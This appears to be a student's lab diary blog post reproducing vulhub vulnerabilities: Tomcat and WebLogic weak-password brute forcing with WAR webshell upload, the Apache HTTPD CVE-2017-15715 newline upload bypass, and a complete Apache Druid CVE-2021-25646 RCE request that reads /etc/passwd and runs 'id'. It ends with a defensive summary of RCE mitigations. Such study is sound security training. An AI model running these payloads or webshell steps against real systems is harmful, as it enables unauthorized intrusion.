Day8(网络安全)

目录

在vps安装docker和docker-compose

漏洞复现

1.Tomcat7+ Weak Password && Backend Getshell Vulnerability

2.Weblogic 常规渗透测试环境

3.Apache HTTPD 换行解析漏洞(CVE-2017-15715)

4.Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)

RCE漏洞的原理和利用条件及解决方案


在vps安装docker和docker-compose

漏洞复现

1.Tomcat7+ Weak Password && Backend Getshell Vulnerability

在VPS上安装好靶场,之后打开靶场(http://your.ip:端口)。

点击Manger App,之后使用Burpsuit进行抓包,在进行登录时抓取password和username。之后加载弱口令爆破字典,进行爆破,可得到登录的密码与账号

登录成功以后,上传文件,此文件需要先创建一个shell.jsp,随后使用java指令使其生成一个shell.war。上传shell.war,之后打开蚁剑,网址输入你的上传网址(http://your.ip:端口/shell/shell.jsp),密码输入自己的所设置的,显示连接成功即表示成功上传。

2.Weblogic 常规渗透测试环境

打开靶场,正常输入(http://your.ip:端口)会报错,需要输入(http://your.ip:端口/console)。

之后进入登录页面,跟之前一样,使用BP抓包,在登录时,抓取password,username,随后进行爆破,得到密码和账号,进入网页。

进入网页后,点击部署,点击安装,之后上传文件,上传我们之前已经创建好的shell.war。然后,一直点击下一步,直到完成。然后打开蚁剑,输入上传网址和密码,显示连接成功,即表示上传成功,按照部署的路径,可查看上传的文件。

3.Apache HTTPD 换行解析漏洞(CVE-2017-15715)

打开靶场,上传文件,在提交时,进行BP拦截。

编写一句话木马上传文件3.php,上传都是失败的

查看 PHP 配置文件,vulhub 里没有,需要进入容器内部查看

发现其将当前目录下符合正则表达式 .php$ 的所有文件,都当作 PHP 文件解析

而 $ 符号可以匹配换行符 “\n”,也就是16进制的 0x0a,所以存在解析漏洞

之后发送到重放器,改为十六进制,找到evil.php的末尾‘2e’改为‘0a’,之后点击发送,可显示成功。

4.Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)

打开靶场,点击load data,在里面选择功能,之后点击连接,进行抓包,之后通过BP抓包进行修改验证。

以下为修改信息:

POST /druid/indexer/v1/sampler HTTP/1.1

Host: 172.16.10.14:8888

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/json

Content-Length: 912

{

    "type":"index",

    "spec":{

        "ioConfig":{

            "type":"index",

            "firehose":{

                "type":"local",

                "baseDir":"/etc",

                "filter":"passwd"

            }

        },

        "dataSchema":{

            "dataSource":"test",

            "parser":{

                "parseSpec":{

                "format":"javascript",

                "timestampSpec":{

                },

                "dimensionsSpec":{

                },

                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",

                "":{

                    "enabled":"true"

                }

                }

            }

        }

    },

    "samplerConfig":{

        "numRows":10

    }

}

RCE漏洞的原理和利用条件及解决方案

RCE漏洞,即远程代码执行(Remote Code Execution)漏洞,是一种常见的网络安全漏洞。攻击者通过该漏洞,可以在受害者的服务器上执行任意代码,从而控制服务器。以下是RCE漏洞的原理、利用条件及解决方案的总结:

原理:

  1. 输入验证不足:当应用程序从用户那里接收输入(如表单、URL参数等)时,如果没有进行适当的验证和过滤,就可能将恶意代码作为输入执行。
  2. 动态代码执行:应用程序可能会在服务器上执行动态生成的代码,如某些服务器端脚本语言(PHP、Python等)可以执行包含在请求中的代码。
  3. 不安全的外部调用:应用程序可能调用外部程序或系统命令,如果调用参数未经验证,就可能被利用。

利用条件:

  1. 输入点:应用程序必须有从用户接收输入的点,且这些输入可以被传递到执行环境。
  2. 执行环境:服务器端必须有一个可以执行代码的环境,如Web服务器、命令行接口等。
  3. 无过滤或弱过滤:应用程序没有对输入进行适当的过滤或消毒,或者过滤规则可以被绕过。
  4. 权限:执行代码的用户账户必须具备一定的权限,以执行攻击者想要的操作。

解决方案:

1.输入验证

对所有用户输入进行严格的验证,仅接受预期内的输入。

使用白名单来限制输入类型,避免执行不可信的输入。

2.输出编码

对输出进行编码,避免将用户输入直接渲染到输出中,减少跨站脚本(XSS)的风险。

3.使用安全的API和函数

避免使用可能执行代码的函数,如 eval()system()exec() 等。

使用参数化查询和预编译语句来处理数据库操作,避免SQL注入。

4.最小权限原则

运行应用程序和服务的账户应具有最小的必要权限,限制攻击者可能的操作范围。

5.安全配置

服务器和应用框架应保持最新的安全配置,禁用不必要的服务和功能。

6.定期安全审计

定期进行代码审计和安全测试,及时发现并修复安全漏洞。

7.错误处理

设置合理的错误处理机制,避免向用户泄露敏感信息,如系统路径、数据库结构等。

8.及时更新和打补丁

及时更新应用程序和服务器组件,安装安全补丁。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值